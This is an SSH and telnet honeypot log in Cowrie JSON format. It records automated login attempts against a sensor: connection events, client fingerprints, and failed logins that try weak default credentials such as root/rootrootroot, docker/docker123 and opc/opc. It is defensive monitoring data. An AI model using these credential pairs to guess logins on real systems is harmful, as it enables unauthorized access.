{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:45:30.487121Z","src_ip":"176.65.132.254","session":"9c7002cea889","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"runner","password":"123456","message":"login attempt [runner/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:45:30.745771Z","src_ip":"176.65.132.254","session":"9c7002cea889","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:45:31.857893Z","src_ip":"176.65.132.254","session":"9c7002cea889","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":39362,"dst_ip":"10.17.0.5","dst_port":22,"session":"ee9ecae553b1","protocol":"ssh","message":"New connection: 176.65.132.254:39362 (10.17.0.5:22) [session: ee9ecae553b1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:45:34.712317Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:45:34.717396Z","src_ip":"176.65.132.254","session":"ee9ecae553b1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:45:34.800945Z","src_ip":"176.65.132.254","session":"ee9ecae553b1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"docker","password":"docker123","message":"login attempt [docker/docker123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:45:35.051192Z","src_ip":"176.65.132.254","session":"ee9ecae553b1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:45:36.202101Z","src_ip":"176.65.132.254","session":"ee9ecae553b1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":43.406010150909424,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:45:37.529716Z","src_ip":"134.209.8.29","session":"2a811d951de0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":39366,"dst_ip":"10.17.0.5","dst_port":22,"session":"e7684a4f18be","protocol":"ssh","message":"New connection: 176.65.132.254:39366 (10.17.0.5:22) [session: e7684a4f18be]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:45:38.825000Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:45:38.829936Z","src_ip":"176.65.132.254","session":"e7684a4f18be","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:45:38.915306Z","src_ip":"176.65.132.254","session":"e7684a4f18be","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin2","password":"admin2","message":"login attempt [admin2/admin2] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:45:39.161670Z","src_ip":"176.65.132.254","session":"e7684a4f18be","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:45:40.253712Z","src_ip":"176.65.132.254","session":"e7684a4f18be","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":59378,"dst_ip":"10.17.0.5","dst_port":22,"session":"4fd70707a5c7","protocol":"ssh","message":"New connection: 176.65.132.254:59378 (10.17.0.5:22) [session: 4fd70707a5c7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:45:42.561710Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:45:42.654787Z","src_ip":"176.65.132.254","session":"4fd70707a5c7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:45:42.658685Z","src_ip":"176.65.132.254","session":"4fd70707a5c7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"rootrootroot","message":"login attempt [root/rootrootroot] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:45:43.143054Z","src_ip":"176.65.132.254","session":"4fd70707a5c7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:45:44.246456Z","src_ip":"176.65.132.254","session":"4fd70707a5c7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":46.70243215560913,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:45:45.212198Z","src_ip":"134.209.8.29","session":"9d26237d8042","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"205.254.166.101","src_port":25154,"dst_ip":"159.203.135.109","dst_port":22,"session":"30095545093b","protocol":"ssh","message":"New connection: 205.254.166.101:25154 (159.203.135.109:22) [session: 30095545093b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:45:46.381126Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:45:46.389958Z","src_ip":"205.254.166.101","session":"30095545093b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:45:46.597888Z","src_ip":"205.254.166.101","session":"30095545093b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":59388,"dst_ip":"10.17.0.5","dst_port":22,"session":"e355558cf5fd","protocol":"ssh","message":"New connection: 176.65.132.254:59388 (10.17.0.5:22) [session: e355558cf5fd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:45:46.752073Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:45:46.756198Z","src_ip":"176.65.132.254","session":"e355558cf5fd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:45:46.838826Z","src_ip":"176.65.132.254","session":"e355558cf5fd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"opc","password":"opc","message":"login attempt [opc/opc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:45:47.186423Z","src_ip":"176.65.132.254","session":"e355558cf5fd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":58.06304049491882,"message":"Connection lost after 58 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:45:47.211298Z","src_ip":"134.209.8.29","session":"2f63e8cb7ec2","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"r","message":"login attempt [ubuntu/r] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:45:47.464086Z","src_ip":"205.254.166.101","session":"30095545093b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:45:48.271838Z","src_ip":"176.65.132.254","session":"e355558cf5fd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:45:48.675371Z","src_ip":"205.254.166.101","session":"30095545093b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":59390,"dst_ip":"10.17.0.5","dst_port":22,"session":"69047a7b82eb","protocol":"ssh","message":"New connection: 176.65.132.254:59390 (10.17.0.5:22) [session: 69047a7b82eb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:45:50.772585Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:45:50.786484Z","src_ip":"176.65.132.254","session":"69047a7b82eb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:45:50.869117Z","src_ip":"176.65.132.254","session":"69047a7b82eb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"helloworld","message":"login attempt [root/helloworld] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:45:51.138369Z","src_ip":"176.65.132.254","session":"69047a7b82eb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:45:52.277486Z","src_ip":"176.65.132.254","session":"69047a7b82eb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00162434577942,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:45:53.029078Z","src_ip":"134.209.8.29","session":"d10c7ecd0e1c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":41.0742712020874,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:45:54.150715Z","src_ip":"38.54.119.93","session":"2acb7942b1ff","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":40420,"dst_ip":"10.17.0.5","dst_port":22,"session":"c7dbc9734967","protocol":"ssh","message":"New connection: 176.65.132.254:40420 (10.17.0.5:22) [session: c7dbc9734967]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:45:54.798822Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:45:54.804869Z","src_ip":"176.65.132.254","session":"c7dbc9734967","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:45:54.889135Z","src_ip":"176.65.132.254","session":"c7dbc9734967","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"myuser","password":"123456","message":"login attempt [myuser/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:45:55.143122Z","src_ip":"176.65.132.254","session":"c7dbc9734967","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"134.209.8.29","src_port":43768,"dst_ip":"159.203.135.109","dst_port":23,"session":"9f5e7129ba94","protocol":"telnet","message":"New connection: 134.209.8.29:43768 (159.203.135.109:23) [session: 9f5e7129ba94]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:45:55.625973Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:45:56.241112Z","src_ip":"176.65.132.254","session":"c7dbc9734967","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":40424,"dst_ip":"10.17.0.5","dst_port":22,"session":"04b0fb8ad5c3","protocol":"ssh","message":"New connection: 176.65.132.254:40424 (10.17.0.5:22) [session: 04b0fb8ad5c3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:45:58.572676Z"}
